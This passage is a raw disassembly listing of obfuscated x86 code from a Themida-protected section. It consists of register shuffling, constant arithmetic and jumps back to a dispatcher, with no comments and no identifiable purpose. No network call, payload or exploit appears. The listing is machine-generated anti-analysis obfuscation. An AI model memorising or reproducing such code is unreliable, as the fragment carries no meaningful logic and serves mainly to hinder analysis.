sub esi, 69F15E9Dh
xor esi, 685D6C7h
mov ebx, esi
pop esi
add edx, 77055074h
jmp loc_590C4D
; ---------------------------------------------------------------------------
loc_593E56: ; CODE XREF: Themida_:00593949j
pop esp
jmp loc_58C9C5
; ---------------------------------------------------------------------------
loc_593E5C: ; CODE XREF: Themida_:00595A5Dj
push ebx
mov ebx, 518725AAh
jmp loc_58C96F
; ---------------------------------------------------------------------------
loc_593E67: ; CODE XREF: Themida_:0058DE5Dj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
jmp loc_590581
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
mov ecx, esp
push edx
mov edx, 4
add ecx, edx
pop edx
sub ecx, 4
xchg ecx, [esp]
jmp loc_58D885
; ---------------------------------------------------------------------------
loc_593EA8: ; CODE XREF: Themida_:005937B3j
shr edi, 1
jmp loc_58C81D
; ---------------------------------------------------------------------------
loc_593EAF: ; CODE XREF: Themida_:00594F91j
xchg ecx, [esp]
not ecx
xchg ecx, [esp]
pop ebx
jmp loc_58C43C
; ---------------------------------------------------------------------------
loc_593EBD: ; CODE XREF: Themida_:00592EA3j
add edx, 4
push ebp
push ebx
mov ebx, 64622205h
mov ebp, 64622209h
sub ebp, ebx
mov ebx, [esp]
jmp loc_58C528
; ---------------------------------------------------------------------------
loc_593ED9: ; CODE XREF: Themida_:00595190j
mov ebp, 2CB46F9Ch
and ebp, 551424C7h
add ebp, 498A676Ch
inc ebp
sub ebp, 4D9E8BEFh
add edi, ebp
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
push ebx
mov ebx, esp
push 2441h
jmp loc_5928C2
; ---------------------------------------------------------------------------
loc_593F30: ; CODE XREF: Themida_:00594545j
xchg ebp, [esp]
pop esp
mov [esp], esi
jmp loc_59037A
; ---------------------------------------------------------------------------
loc_593F3C: ; CODE XREF: Themida_:00595ADFj
sub edx, 20B72A28h
add esi, edx
pop edx
sub esi, 260A5D3Ch
add esi, ebx
add esi, 260A5D3Ch
sub esi, 538F2A18h
pop ebx
xchg esi, [esp]
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], edx
push esp
mov edx, [esp]
jmp loc_58F0AB
; ---------------------------------------------------------------------------
loc_593F71: ; CODE XREF: Themida_:0058DE01j
not dl
and dl, 0C4h
xor dl, 34h
not dl
push eax
mov ah, 0
jmp loc_58C0B0
; ---------------------------------------------------------------------------
loc_593F83: ; CODE XREF: Themida_:0058F280j
push esi
push 0BA910DBh
pop esi
inc esi
jmp loc_58C69E
; ---------------------------------------------------------------------------
loc_593F90: ; CODE XREF: Themida_:00590B51j
xor edx, ebp
jmp loc_58F553
; ---------------------------------------------------------------------------
loc_593F97: ; CODE XREF: Themida_:0058F54Ej
mov ebp, esp
jmp loc_58E9B6
; ---------------------------------------------------------------------------
loc_593F9E: ; CODE XREF: Themida_:0058958Dj
mov [esp], ebx
push esp
jmp loc_590591
; ---------------------------------------------------------------------------
loc_593FA7: ; CODE XREF: Themida_:0058D969j
pop edx
sub eax, esi
pop esi
add eax, ecx
jmp loc_59397F
; ---------------------------------------------------------------------------
loc_593FB2: ; CODE XREF: Themida_:0059015Bj
add esp, 4
push ecx
push ebx
mov bl, 0FAh
or bl, 0ADh
sub bl, 0A1h
sub bl, 69h
add bl, 24h
mov ch, bl
pop ebx
sub al, ch
jmp loc_59039A
; ---------------------------------------------------------------------------
loc_593FCF: ; CODE XREF: Themida_:005955C2j
sub al, dh
mov dx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 2
xchg eax, [esp]
jmp loc_590A34
; ---------------------------------------------------------------------------
loc_593FEA: ; CODE XREF: Themida_:0058A72Ej
neg dx
xor dx, 176h
push di
mov di, 0E39h
jmp loc_58A8AE
; ---------------------------------------------------------------------------
loc_593FFD: ; CODE XREF: Themida_:00593DF3j
mov edi, 4
sub ebx, edi
jmp loc_58BC00
; ---------------------------------------------------------------------------
mov cx, [esp]
push 1774h
jmp loc_592581
; ---------------------------------------------------------------------------
loc_594017: ; CODE XREF: Themida_:005951B5j
mov [esp], ecx
mov ecx, 10622BA4h
or ecx, 110370F1h
sub ecx, 4C295F03h
jmp loc_58AD25
; ---------------------------------------------------------------------------
loc_594030: ; CODE XREF: Themida_:0058F6ADj
mov [esp], esi
push dword ptr [esp+4]
jmp loc_592CF3
; ---------------------------------------------------------------------------
loc_59403C: ; CODE XREF: Themida_:0059133Fj
mov [esp], ecx
mov ch, 81h
and ch, 51h
jmp loc_58D151
; ---------------------------------------------------------------------------
loc_594049: ; CODE XREF: Themida_:0058F2F4j
mov ch, 0FEh
add ch, 1
jmp loc_592156
; ---------------------------------------------------------------------------
loc_594053: ; CODE XREF: Themida_:005912F1j
pop edx
add edx, ecx
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add edx, 2
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_594084: ; CODE XREF: Themida_:0058CCB2j
pop edi
pop dword ptr [esp]
mov esp, [esp]
push 3790h
mov [esp], ebx
push 0
pop ebx
push edx
jmp loc_58F4AD
; ---------------------------------------------------------------------------
loc_59409F: ; CODE XREF: Themida_:005909D4j
add edx, ebx
sub edx, 3C1115EEh
pop ebx
add ecx, edx
jmp loc_593458
; ---------------------------------------------------------------------------
loc_5940AF: ; CODE XREF: Themida_:0058ABFBj
xor ch, 44h
jmp loc_5903B2
; ---------------------------------------------------------------------------
loc_5940B7: ; CODE XREF: Themida_:0058E4DAj
inc bl
add bl, 0D8h
shl bl, 4
jmp loc_5936EA
; ---------------------------------------------------------------------------
loc_5940C4: ; CODE XREF: Themida_:0058FD0Ej
xchg ebp, [esp]
pop esp
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5940CD: ; CODE XREF: Themida_:00595A65j
add [esp], eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5940D6: ; CODE XREF: Themida_:00591EBAj
mov ebp, esp
add ebp, 4
push esi
jmp loc_592715
; ---------------------------------------------------------------------------
loc_5940E4: ; CODE XREF: Themida_:0058ECC7j
add ecx, 4
push edx
push eax
mov eax, 1F46D58h
mov edx, 50A38B57h
sub edx, eax
jmp loc_59052D
; ---------------------------------------------------------------------------
loc_5940FD: ; CODE XREF: Themida_:00589FDEj
mov [esp], ebp
jmp loc_58D5EF
; ---------------------------------------------------------------------------
loc_594105: ; CODE XREF: Themida_:00591AA0j
sar byte ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59410E: ; CODE XREF: Themida_:0058EB3Ej
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
mov esp, [esp]
push ebx
mov ebx, esp
jmp loc_5945F5
; ---------------------------------------------------------------------------
loc_59412E: ; CODE XREF: Themida_:00595662j
sub dword ptr [esp+4], 6B621515h
jmp loc_58F957
; ---------------------------------------------------------------------------
loc_59413B: ; CODE XREF: Themida_:0058C9D6j
and edx, ecx
pop ecx
and edx, 797F60BCh
xor edx, 402C11F4h
sub ebx, 41C2215Bh
sub ebx, edx
add ebx, 41C2215Bh
pop edx
push ecx
mov ecx, 0
jmp loc_58F2A1
; ---------------------------------------------------------------------------
loc_594164: ; CODE XREF: Themida_:0058CD25j
pop esp
sub [esp], eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59416E: ; CODE XREF: Themida_:00592AF7j
mov edi, 794679Ah
push ebx
mov ebx, 1E777CBEh
add edi, ebx
pop ebx
jmp loc_58A298
; ---------------------------------------------------------------------------
loc_594181: ; CODE XREF: Themida_:00591E51j
sub bl, al
sub bl, 1
add bl, 51h
sub esp, 4
mov [esp], eax
mov ah, 2Bh
sub bl, ah
pop eax
jmp loc_58F96B
; ---------------------------------------------------------------------------
loc_59419C: ; CODE XREF: Themida_:0058BF44j
mov esp, [esp]
jmp loc_5921DD
; ---------------------------------------------------------------------------
loc_5941A4: ; CODE XREF: Themida_:005951C0j
push edx
mov edx, 4
add esi, edx
jmp loc_595701
; ---------------------------------------------------------------------------
loc_5941B1: ; CODE XREF: Themida_:0058CC04j
add ax, bx
jmp loc_58DCDC
; ---------------------------------------------------------------------------
loc_5941B9: ; CODE XREF: Themida_:0058A2BCj
add esp, 4
sub esp, 4
mov [esp], ecx
push ebx
push esp
mov ebx, [esp]
add esp, 4
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_58AA85
; ---------------------------------------------------------------------------
loc_5941E7: ; CODE XREF: Themida_:0058DE94j
mov ebx, edi
pop edi
sub ebx, 58A1317Bh
add edi, ebx
pop ebx
std
push 381Ah
mov [esp], ebp
push edi
jmp loc_5935CF
; ---------------------------------------------------------------------------
loc_594202: ; CODE XREF: Themida_:0058AE32j
pop eax
push edi
mov edi, 4
add eax, edi
pop edi
jmp loc_590282
; ---------------------------------------------------------------------------
loc_594211: ; CODE XREF: Themida_:0058CC36j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_594216: ; CODE XREF: Themida_:00590098j
mov ebx, esp
jmp loc_5950A3
; ---------------------------------------------------------------------------
loc_59421D: ; CODE XREF: Themida_:0058EFFAj
push ebx
jmp loc_5949AC
; ---------------------------------------------------------------------------
loc_594223: ; CODE XREF: Themida_:0059291Fj
push ecx
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59422A: ; CODE XREF: Themida_:005921D8j
sub eax, 3DD71E8Bh
pop edx
push edx
mov edx, 78F06BB8h
not edx
not edx
not edx
push edx
not dword ptr [esp]
jmp loc_594AE7
; ---------------------------------------------------------------------------
loc_594245: ; CODE XREF: Themida_:005908C4j
add edi, 4
jmp loc_58C0CE
; ---------------------------------------------------------------------------
loc_594250: ; CODE XREF: Themida_:005920F2j
mov ebx, [esp]
add esp, 4
jmp loc_5913C6
; ---------------------------------------------------------------------------
loc_59425E: ; CODE XREF: Themida_:0058EAD0j
mov edx, [esp]
push edi
mov edi, esp
jmp loc_594BF1
; ---------------------------------------------------------------------------
loc_594269: ; CODE XREF: Themida_:00593DC5j
pop eax
add bl, 0CCh
sub bl, al
sub bl, 0CCh
jmp loc_595968
; ---------------------------------------------------------------------------
loc_594277: ; CODE XREF: Themida_:0059576Aj
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_58A85C
; ---------------------------------------------------------------------------
loc_594286: ; CODE XREF: Themida_:005938C7j
shr edx, 6
jmp loc_58A0BA
; ---------------------------------------------------------------------------
loc_59428E: ; CODE XREF: Themida_:005956B3j
neg eax
dec eax
push ecx
mov ecx, 5F4A79C9h
or eax, ecx
jmp loc_58C104
; ---------------------------------------------------------------------------
loc_59429E: ; CODE XREF: Themida_:00592181j
mov esp, [esp]
mov [esp], ebx
push 2F6Ah
mov [esp], esp
add dword ptr [esp], 4
jmp loc_592048
; ---------------------------------------------------------------------------
loc_5942B8: ; CODE XREF: Themida_:00590A03j
push esi
jmp loc_595836
; ---------------------------------------------------------------------------
loc_5942BE: ; CODE XREF: Themida_:0058E050j
mov edi, 1A357E20h
jmp loc_58F652
; ---------------------------------------------------------------------------
loc_5942C8: ; CODE XREF: Themida_:0058BCEDj
pop eax
sub ebx, edi
jmp loc_58EFFF
; ---------------------------------------------------------------------------
loc_5942D0: ; CODE XREF: Themida_:005959C3j
mov ebp, 231F7337h
jmp loc_595728
; ---------------------------------------------------------------------------
loc_5942DA: ; CODE XREF: Themida_:0058FFE4j
sub eax, 2ECF1546h
add eax, edi
add eax, 2ECF1546h
push 3659h
mov [esp], ebx
mov ebx, 51FB72F0h
add ebx, 63784DC7h
push edx
mov edx, 2CEC46F0h
add ebx, edx
pop edx
push eax
mov eax, 3AC73FFBh
and ebx, eax
pop eax
not ebx
sub ebx, 0DDBFF85Bh
push edx
mov edx, 0
jmp loc_58952B
; ---------------------------------------------------------------------------
loc_59431E: ; CODE XREF: Themida_:0058E608j
not edx
xor eax, edx
jmp loc_590D09
; ---------------------------------------------------------------------------
push cx
mov ch, dh
mov dh, [esp+2]
mov [esp+2], ch
jmp loc_58F033
; ---------------------------------------------------------------------------
loc_594338: ; CODE XREF: Themida_:0058C83Cj
not ebx
xchg ebx, esi
xor esi, 972EF0A1h
add edi, esi
pop esi
add edi, 4
xchg edi, [esp]
pop esp
push 46Eh
mov [esp], eax
push esp
pop eax
add eax, 4
jmp loc_5949C2
; ---------------------------------------------------------------------------
loc_594363: ; CODE XREF: Themida_:00592D3Cj
mov ebp, 19CE003Eh
sub [esp+8], ebp
pop ebp
add dword ptr [esp+4], 1F625CFDh
jmp loc_58DD29
; ---------------------------------------------------------------------------
loc_59437A: ; CODE XREF: Themida_:0058F9EDj
add al, 0D1h
add al, 4Ah
jmp loc_592286
; ---------------------------------------------------------------------------
push 77CBh
mov [esp], esp
push 33A5h
mov [esp], edi
jmp loc_590807
; ---------------------------------------------------------------------------
loc_594398: ; CODE XREF: Themida_:00593D7Fj
mov eax, 6C33E1h
push eax
sub dword ptr [esp], 7EA17BC2h
jmp loc_58E2E6
; ---------------------------------------------------------------------------
loc_5943AA: ; CODE XREF: Themida_:0058C7C7j
or edx, 289C3AE0h
dec edx
dec edx
push eax
mov eax, 7AB854D7h
jmp loc_58B95E
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_592456
; ---------------------------------------------------------------------------
loc_5943C5: ; CODE XREF: Themida_:0058AC20j
push ecx
mov ecx, edx
mov [edi+20h], ecx
pop ecx
push dword ptr [esp]
pop edx
add esp, 4
loc_5943D3: ; CODE XREF: Themida_:0058A7EEj
; Themida_:005924BCj
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
push esi
mov esi, 2883F7Bh
add esi, 0FD77C089h
add edx, esi
mov esi, [esp]
push ebx
jmp loc_5951DD
; ---------------------------------------------------------------------------
loc_594405: ; CODE XREF: Themida_:00592D61j
shr ecx, 1
add ecx, 6B9902E3h
and ecx, 64674FBh
xor ecx, 24464A6h
jmp loc_58E797
; ---------------------------------------------------------------------------
loc_59441E: ; CODE XREF: Themida_:0058AB70j
mov edi, 6B1B1C6Eh
inc edi
xor edi, 37AB33A6h
sub ebx, edi
pop edi
jmp loc_591E56
; ---------------------------------------------------------------------------
loc_594432: ; CODE XREF: Themida_:00595B0Bj
add esp, 2
mov dh, 84h
jmp loc_58C135
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_594445: ; CODE XREF: Themida_:00589D9Cj
and edi, ecx
jmp loc_58C80D
; ---------------------------------------------------------------------------
loc_59444C: ; CODE XREF: Themida_:005909BEj
mov [esp], edi
mov edi, 3AA720A9h
jmp loc_58B715
; ---------------------------------------------------------------------------
loc_594459: ; CODE XREF: Themida_:00594685j
pop ebp
add esi, 551C54AEh
add esi, ebx
sub esi, 551C54AEh
jmp loc_58BEF8
; ---------------------------------------------------------------------------
loc_59446D: ; CODE XREF: Themida_:00595949j
mov ebp, 2BA2473Eh
sub ebp, 2C18401Ch
add ebp, 75F8E2h
jmp loc_58EAB2
; ---------------------------------------------------------------------------
loc_594483: ; CODE XREF: Themida_:00593092j
sub ecx, 58297210h
jmp loc_58FFE1
; ---------------------------------------------------------------------------
loc_59448E: ; CODE XREF: Themida_:0058BC01j
xchg ebx, [esp]
pop esp
mov [esp], eax
push esp
mov eax, [esp]
jmp loc_58EAD5
; ---------------------------------------------------------------------------
loc_59449E: ; CODE XREF: Themida_:0059167Fj
sub ebx, 47AC4327h
pop ebp
xor ebx, [esp]
xor [esp], ebx
jmp loc_5915CC
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push 74C8h
jmp loc_5949B2
; ---------------------------------------------------------------------------
loc_5944BE: ; CODE XREF: Themida_:0058D0C8j
sub al, dl
add al, 0DBh
pop dx
jmp loc_593DBD
; ---------------------------------------------------------------------------
loc_5944C9: ; CODE XREF: Themida_:0058E434j
sub esi, 0C32A6C50h
xor eax, esi
pop esi
jmp loc_59553F
; ---------------------------------------------------------------------------
loc_5944D7: ; CODE XREF: Themida_:0058CCA9j
push ecx
jmp loc_590151
; ---------------------------------------------------------------------------
loc_5944DD: ; CODE XREF: Themida_:0059209Aj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5944E2: ; CODE XREF: Themida_:00590216j
push 5A0Eh
mov [esp], ebx
push esp
pop ebx
add ebx, 4
push edi
jmp loc_58C6F3
; ---------------------------------------------------------------------------
loc_5944F8: ; CODE XREF: Themida_:0058B00Aj
xor edi, 22C374D6h
sub esp, 4
mov [esp], eax
mov eax, 672B5D93h
xor edi, eax
pop eax
jmp loc_590DE2
; ---------------------------------------------------------------------------
loc_594511: ; CODE XREF: Themida_:0058FD03j
push cx
mov cl, 17h
jmp loc_58BA36
; ---------------------------------------------------------------------------
loc_59451A: ; CODE XREF: Themida_:00594C71j
pop ebx
sub edi, eax
push dword ptr [esp]
pop eax
jmp loc_593C6F
; ---------------------------------------------------------------------------
loc_594526: ; CODE XREF: Themida_:0058EAECj
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_5918A4
; ---------------------------------------------------------------------------
loc_594534: ; CODE XREF: Themida_:0058C42Cj
mov cl, dh
jmp loc_58E4F3
; ---------------------------------------------------------------------------
loc_59453B: ; CODE XREF: Themida_:00589555j
add edi, ecx
pop ecx
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_593F30
; ---------------------------------------------------------------------------
loc_59454A: ; CODE XREF: Themida_:00589860j
push dword ptr [esp+4]
jmp loc_593AC5
; ---------------------------------------------------------------------------
loc_594553: ; CODE XREF: Themida_:0058CF84j
add edi, 0D02564Eh
xor edi, 3DA48F65h
sub eax, 3B6E4F9Bh
add eax, 46D67E67h
sub eax, edi
jmp loc_591BF7
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_592B63
; ---------------------------------------------------------------------------
loc_59458A: ; CODE XREF: Themida_:0058E693j
mov ebx, ebp
jmp loc_58F88F
; ---------------------------------------------------------------------------
loc_594591: ; CODE XREF: Themida_:00590C48j
neg edi
or edi, 721C798Bh
sub edi, 72DF7BD7h
sub ebp, edi
jmp loc_589548
; ---------------------------------------------------------------------------
loc_5945A6: ; CODE XREF: Themida_:0058D1D9j
sub esp, 4
mov [esp], eax
mov eax, 226B474Dh
jmp loc_594C58
; ---------------------------------------------------------------------------
loc_5945B6: ; CODE XREF: Themida_:00595273j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 4057h
mov [esp], edx
mov edx, 2
add ecx, 47C537FAh
add ecx, edx
sub ecx, 47C537FAh
pop edx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
sub [esp], al
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5945F5: ; CODE XREF: Themida_:00594129j
sub esp, 4
jmp loc_59339A
; ---------------------------------------------------------------------------
loc_5945FD: ; CODE XREF: Themida_:0059023Bj
sub edi, 4801F65Ah
xor eax, edi
pop edi
sub edx, eax
mov eax, [esp]
jmp loc_58E633
; ---------------------------------------------------------------------------
loc_594610: ; CODE XREF: Themida_:0058D62Cj
push edx
mov dh, 3Eh
inc dh
jmp loc_58CBD9
; ---------------------------------------------------------------------------
loc_59461A: ; CODE XREF: Themida_:0058B6F2j
mov [esp], edi
mov eax, [esp]
push ecx
mov ecx, esp
push eax
push edx
mov edx, 67C945EAh
mov eax, edx
pop edx
shl eax, 7
shl eax, 4
inc eax
shr eax, 3
jmp loc_58B378
; ---------------------------------------------------------------------------
loc_59463C: ; CODE XREF: Themida_:0058EFB9j
pop ebp
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
push ecx
jmp loc_58BEA5
; ---------------------------------------------------------------------------
loc_594657: ; CODE XREF: Themida_:0058CDE2j
mov [esp], ebx
jmp loc_58C5F6
; ---------------------------------------------------------------------------
loc_59465F: ; CODE XREF: Themida_:00590AEAj
sub ecx, 2D007E87h
pop ebx
sub ecx, 0FFFFFFFFh
sub esp, 4
mov [esp], esi
mov esi, 16B96114h
push ebx
push ebp
mov ebp, 66F06656h
mov ebx, 9992817Eh
sub ebx, ebp
jmp loc_594459
; ---------------------------------------------------------------------------
loc_59468A: ; CODE XREF: Themida_:0059213Bj
shl esi, 3
xchg edi, esi
neg edi
xchg edi, esi
add esi, 0AEF962FAh
xor esi, 26904168h
push ebx
jmp loc_58E8F4
; ---------------------------------------------------------------------------
loc_5946A5: ; CODE XREF: Themida_:005903D3j
push edx
jmp loc_58C42A
; ---------------------------------------------------------------------------
loc_5946AB: ; CODE XREF: Themida_:005925AFj
push edx
mov edx, 4CF731D0h
jmp loc_58F16A
; ---------------------------------------------------------------------------
loc_5946B6: ; CODE XREF: Themida_:0058BB78j
mov ebp, eax
jmp loc_58B248
; ---------------------------------------------------------------------------
loc_5946BD: ; CODE XREF: Themida_:00590B98j
push eax
mov eax, 353D4DFEh
shr eax, 7
sub eax, 1E4A738Dh
jmp loc_5957CE
; ---------------------------------------------------------------------------
loc_5946D0: ; CODE XREF: Themida_:0058A0A5j
add eax, edx
sub eax, 5E1B5954h
jmp loc_58BF5D
; ---------------------------------------------------------------------------
loc_5946DC: ; CODE XREF: Themida_:0058EFDDj
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 1C97411Dh
add ebp, 599521E8h
xor ebp, 0ADC3132h
neg ebp
shl ebp, 6
jmp loc_58B096
; ---------------------------------------------------------------------------
loc_59470C: ; CODE XREF: Themida_:0058E025j
add esi, ebx
pop ebx
jmp loc_58EA09
; ---------------------------------------------------------------------------
loc_594714: ; CODE XREF: Themida_:00592B0Aj
and esi, ebp
pop ebp
push 40C9h
mov [esp], edx
jmp loc_58E43F
; ---------------------------------------------------------------------------
loc_594724: ; CODE XREF: Themida_:0058BED4j
push dword ptr [esp+4]
pop ebp
jmp loc_59293D
; ---------------------------------------------------------------------------
loc_59472E: ; CODE XREF: Themida_:0058EAC3j
inc esi
dec esi
not esi
sub esi, 0FFFFFFFFh
sub esp, 4
mov [esp], ebp
mov ebp, 0C911DB9h
add esi, ebp
mov ebp, [esp]
jmp loc_58E379
; ---------------------------------------------------------------------------
loc_59474D: ; CODE XREF: Themida_:0058EFC9j
add esp, 4
sub esp, 4
mov [esp], ecx
mov cl, 0C7h
add cl, 2Dh
add al, cl
pop ecx
add al, ch
sub al, 0F4h
pop ecx
sub esp, 2
mov [esp], cx
push ebx
jmp loc_58CDCC
; ---------------------------------------------------------------------------
loc_594776: ; CODE XREF: Themida_:0058F8D6j
mov [esp], ecx
mov ecx, 771F5BBAh
add ecx, 19A4637Dh
and ecx, 579E7F22h
add ecx, 43986801h
xor ecx, 268FB8CEh
push ecx
jmp loc_590AAD
; ---------------------------------------------------------------------------
loc_59479C: ; CODE XREF: Themida_:0058CE37j
xor bl, al
movzx eax, al
jmp loc_58B4CA
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push edx
push esp
mov edx, [esp]
jmp loc_58C9DB
; ---------------------------------------------------------------------------
loc_5947B4: ; CODE XREF: Themida_:0058D106j
pop esi
sub eax, 6D1372A8h
dec eax
xor eax, 50EB51E3h
not eax
jmp loc_594FF5
; ---------------------------------------------------------------------------
loc_5947C7: ; CODE XREF: Themida_:0058CDD6j
push dword ptr [esp]
jmp loc_58B56C
; ---------------------------------------------------------------------------
loc_5947CF: ; CODE XREF: Themida_:0058C73Cj
mov esi, 2DE30A3Bh
neg esi
sub esi, 0BBA7AE55h
sub ebx, esi
jmp loc_5905F7
; ---------------------------------------------------------------------------
loc_5947E3: ; CODE XREF: Themida_:00594975j
mov [esp], eax
mov eax, 2
sub esi, eax
mov eax, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xchg esi, [esp]
jmp loc_59353F
; ---------------------------------------------------------------------------
loc_594811: ; CODE XREF: Themida_:00589931j
add esp, 2
jmp loc_58EC39
; ---------------------------------------------------------------------------
loc_59481C: ; CODE XREF: Themida_:00590D40j
sub esi, 53683996h
add esi, edx
add esi, 53683996h
sub esi, 5A101F3h
mov edx, [esp]
add esp, 4
push ebp
mov ebp, 2
add esi, ebp
mov ebp, [esp]
jmp loc_58E2AB
; ---------------------------------------------------------------------------
loc_594846: ; CODE XREF: Themida_:0058BF93j
xor ebx, [esp]
jmp loc_58F740
; ---------------------------------------------------------------------------
loc_59484E: ; CODE XREF: Themida_:0058A597j
shl edi, 1
add edi, 326DF0DEh
or esi, edi
pop edi
add esi, 5D242894h
xor esi, 2D7E6A0Eh
add esi, 38A21F8h
sub esi, 0F4F6EF90h
jmp loc_58A733
; ---------------------------------------------------------------------------
loc_594876: ; CODE XREF: Themida_:0058D609j
push eax
push esi
jmp loc_5895F7
; ---------------------------------------------------------------------------
loc_59487D: ; CODE XREF: Themida_:0058DA07j
add bl, 51h
xor cl, bl
pop ebx
sub bl, cl
jmp loc_58CBFA
; ---------------------------------------------------------------------------
loc_59488A: ; CODE XREF: Themida_:0058A777j
push ebp
sub esp, 4
mov [esp], eax
push esi
jmp loc_59199D
; ---------------------------------------------------------------------------
loc_59489A: ; CODE XREF: Themida_:0058C190j
pop ecx
jmp loc_58A758
; ---------------------------------------------------------------------------
loc_5948A0: ; CODE XREF: Themida_:00591727j
push 0EAEh
jmp loc_5958F7
; ---------------------------------------------------------------------------
loc_5948AA: ; CODE XREF: Themida_:0058D1A3j
sub bl, dh
add bl, 3Bh
push dword ptr [esp]
pop edx
push ebp
push esp
jmp loc_58D085
; ---------------------------------------------------------------------------
loc_5948BA: ; CODE XREF: Themida_:0058FC2Dj
mov ebp, 3A7D62C0h
shr ebp, 1
push eax
jmp loc_5918E9
; ---------------------------------------------------------------------------
loc_5948C7: ; CODE XREF: Themida_:0058DCF9j
pop edi
add esi, 4
xor esi, [esp]
jmp loc_58FCB8
; ---------------------------------------------------------------------------
loc_5948D3: ; CODE XREF: Themida_:0059135Bj
push edx
mov dh, 54h
jmp loc_58DC08
; ---------------------------------------------------------------------------
loc_5948DB: ; CODE XREF: Themida_:005924E5j
push ebx
mov bl, 0C5h
mov al, bl
pop ebx
sub dl, al
pop ax
add al, 8Ch
sub al, 0E9h
add al, dl
push dx
mov dl, 0E9h
add al, dl
jmp loc_58E7BA
; ---------------------------------------------------------------------------
loc_5948F6: ; CODE XREF: Themida_:00590197j
mov [esp], ebp
push edi
push 7D293B15h
pop edi
jmp loc_5928CB
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
push edi
push esi
mov esi, 4
push edx
mov edx, esi
mov edi, edx
jmp loc_595715
; ---------------------------------------------------------------------------
loc_594925: ; CODE XREF: Themida_:00589D3Ej
sub esp, 4
mov [esp], ecx
push ebp
push 34765EA0h
pop ebp
sub ebp, 79F826D2h
add ebp, 0B7DFDB6Ah
push 2455h
mov [esp], ebp
push ebp
jmp loc_592BF0
; ---------------------------------------------------------------------------
loc_59494F: ; CODE XREF: Themida_:005896A9j
pop ecx
add bl, 0AAh
push small 1A2Ah
mov [esp], cx
mov cl, 9Ch
jmp loc_591BB2
; ---------------------------------------------------------------------------
loc_594962: ; CODE XREF: Themida_:0058EC5Aj
push edx
mov edx, 0D36F92B8h
add ecx, edx
jmp loc_58B03B
; ---------------------------------------------------------------------------
loc_59496F: ; CODE XREF: Themida_:0058B144j
add esi, edx
pop edx
sub esp, 4
jmp loc_5947E3
; ---------------------------------------------------------------------------
loc_59497A: ; CODE XREF: Themida_:00594CF2j
mov [esp], ebp
mov ebp, 26054CBh
sub esp, 4
mov [esp], ebx
mov ebx, 0DF7429Ch
xor ebp, ebx
mov ebx, [esp]
add esp, 4
push esi
mov esi, 7CB6035Dh
shl esi, 8
jmp loc_592D15
; ---------------------------------------------------------------------------
loc_5949A3: ; CODE XREF: Themida_:0058B2B0j
mov dx, 1434h
jmp loc_591604
; ---------------------------------------------------------------------------
loc_5949AC: ; CODE XREF: Themida_:0059421Ej
push edi
jmp loc_58DE8F
; ---------------------------------------------------------------------------
loc_5949B2: ; CODE XREF: Themida_:005944B9j
mov [esp], edi
mov edi, esp
push ebx
mov ebx, 4
jmp loc_58D63E
; ---------------------------------------------------------------------------
loc_5949C2: ; CODE XREF: Themida_:0059435Ej
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
push edi
mov edi, 40000h
mov ecx, edi
push dword ptr [esp]
jmp loc_59596E
; ---------------------------------------------------------------------------
loc_5949DE: ; CODE XREF: Themida_:0058F74Bj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5949E3: ; CODE XREF: Themida_:0058FC20j
add esp, 4
push edx
mov edx, 5142620h
xor edx, 77F10738h
sub ecx, edx
jmp loc_59543A
; ---------------------------------------------------------------------------
loc_5949F9: ; CODE XREF: Themida_:0058ACBBj
add ebx, 47EC4C55h
not ebx
xor ebx, 6FED3084h
xor ebx, 415A10F4h
sub ebx, 44841B35h
jmp loc_58C4F1
; ---------------------------------------------------------------------------
loc_594A18: ; CODE XREF: Themida_:0058C317j
add dword ptr [esp+4], 32BC5EC1h
sub [esp+4], ecx
